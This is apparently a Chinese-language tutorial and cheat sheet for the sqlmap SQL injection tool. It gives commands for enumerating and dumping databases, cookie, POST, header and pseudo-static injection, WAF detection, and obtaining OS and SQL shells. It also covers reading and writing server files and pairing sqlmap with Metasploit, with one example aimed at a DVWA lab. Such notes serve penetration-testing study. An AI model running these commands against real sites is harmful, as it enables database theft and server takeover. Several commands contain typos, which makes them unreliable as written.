SQL注入工具:明小子 啊D 萝卜头 sqlmap 等等
SQLMAP:开源的自动化诸如利用工具,支持的数据库有12中,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中他是最好用的!!
支持的注入类型:布尔 时间 报错 联合 堆查询 内联
可以获取用户名 密码 权限 角色 数据库(表 字段 内容)
可以爆破识别密文数据
getshell
命令执行
脱库/删库
内置文档介绍:
doc 介绍文档
extra 它sqlmap额外的功能,运行cmd执行命令
lib 是sqlmap的核心功能代码
plugins 包含12种数据库识别程序
data 存放一些攻击过程中使用的工具或者命令
procs 包含了mysql mssql oracle postgersql 这四种数据库的触发程序
shell 远程命令和后门
txt 表名字典 列名字典 ua字典
udf 存放攻击载荷 payload
xml 存放检测的脚本
tamper 包含各种绕WAF的处理脚本
thirdparty 包含了第三方插件 颜色 优化 等等
SQLMAP工作流程:
(1)初始化
(2)开始检测
1> 检测之前是否注入过(会把检测的URL默认存放在用户家目录.sqlmap下output,可以指定存放目录 --output-dir 参数可以指定存放目录)
2> 解析URL,判断该URL是否可访问
3> 检测是否有WAF
sqlmup -u "目录URL" --identify-waf
sqlmap -u "目录URL" --check-waf
(3)执行用户输入的参数
-u 指定URL
-p 指定参数
-v 指定显示的级别
-m 批量测试
-p 指定测试参数
-r 读取文件
--dbs 数据库
--current-db 当前数据库
--tables 表名
--columns 列名
--dump 获取数据
--batch 跳过问询(yes)直接执行
--DBMS 指定数据库类型
--current-user 当前数据库
--users 所有用户
--passwords 数据库密码
--hostname 系统名称
--baner 数据库信息
--roles 数据库用户角色
--level 测试等级
--delay 2 延时两秒注入
步骤详解
(1)判断注入点:sqlmap -u "目标URL" 当看到探测结果中有环境参数(系统类型、数据库类型)则表名有注入点
(2)查看所有数据库:sqlmap -u "目标URL" --dbs --dbms mysql
(3)获取当前数据库:sqlmap -u "目标URL" --current-db --dbms mysql
(4)获取当前数据库下的表:sqlmap -u "目标URL" -D 库名 --dbms mysql --tables
(5)获取当前数据库中指定表下的字段名:sqlmap -u "目标URL" -D 库名 -T 表名 --columns
(6)获取指定字段对应的内容:sqlmap -u "目标URL" -D 库名 -T 表名 -C 字段名 --dump(注意:多个字段名需要使用逗号隔开)
(7)cookie型注入
python sqlmap.py u "http://10.3.150.82/dvwa/vulnerabilities/sqli/index.phpid=1&Submit=Submit#" -p id --cookie="security=low; PHPSESSID=te2i8hgoig4kt1sjmqufbugt52"
POST型注入的sqlmap利用方法
拦截数据包保存txt文件
python sqlmap.py -r post.txt -p "uname" (-r读取指定的文件,-p告诉sqlmap测试哪个参数)"
COOKIE注入
python sqlmap.py -r post_cookie.txt --level 2
python sqlmap.py -u "URL" --cookie="user=1" --level 2
--level=LEVEL 执行测试的等级(1-5,默认是1)
XFF注入
python sqlmap.py -u "URL" -p "x-forwarded-for" --level 3
python sqlmap.py -r "post_xff.txt" --level 3
UA注入:
python sqlmap.py -r "post_ua.txt" --level 3 --dbms mysql
伪静态注入:
python sqlmap.py -u "URL/1*.html" 加个*
-v 0-6
0、只显示python错误以及严重的信息
1、同事显示基本信息和警告信息(默认)
2、同事显示debug信息。
3、同事显示注入的payload(建议使用次级别,可)
--risk 0-3
从0-3共有四个风险等级
批量测试:
python sqlmap.py -m piliang.txt
SQLMAP注入点执行系统命令或者交互式shell
(条件1、数据库有写文件权限 2、需要知道WEB站点路径{www})
sqlmap.py -u "target_url" --os-cmd=执行的命令 执行系统命令
sqlmap.py -u "target_url" --os-shell 获取系统的shell
sqlmap.py -u "target_url" --is-dba 判断当前用户是不是dba
sqlmap.py -u "target_url" --delay 2 延时两秒注入
sqlmap.py -u "target_url" --sql-querty=select vision() 执行SQL命令
sqlmap.py -u "target_url" --sql-shell 反弹SQL的shell
sqlmap直连mysql数据库
sqlmap.py -d "mysql://username:password@192.168.2.101:3306/mysql" -f --banner --dbs --users
sqlmap注入利用Access
Access数据库 没有库的概念。打开数据库文件看到的只有表和字段以及内容
python sqlmap.py -u "target_url" --tables
sqlmap与msf结合使用
sqlmap -u "URL" -p name --dbms mysql --os-pwn --msf-path /usr/share/metasploit-framework
msf存储路径:/usr/share/metasploit-framework
sqlmap与BP的结合使用:
1、给BP代开抓包储存
2、然后抓取目标URL
3、打开sqlmap输入如下命令:sqlmap.py -l "BP储存的数据包文件" -batch
-l 表示从文件读取http请求,测试完之后的结果如下,并生成一个.csv格式的文件。
sqlmap读写文件
--file-read=(读取文件的绝对路径) 从后端的数据库管理系统文件读取文件(物理路径)
sqlmap.py -u "URL" --file-read=(读取文件的绝对路径)
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
sqlmap.py -u "URL" --file-read=(写入目标机的绝对路径) --file-write=(读取攻击者的文件路径)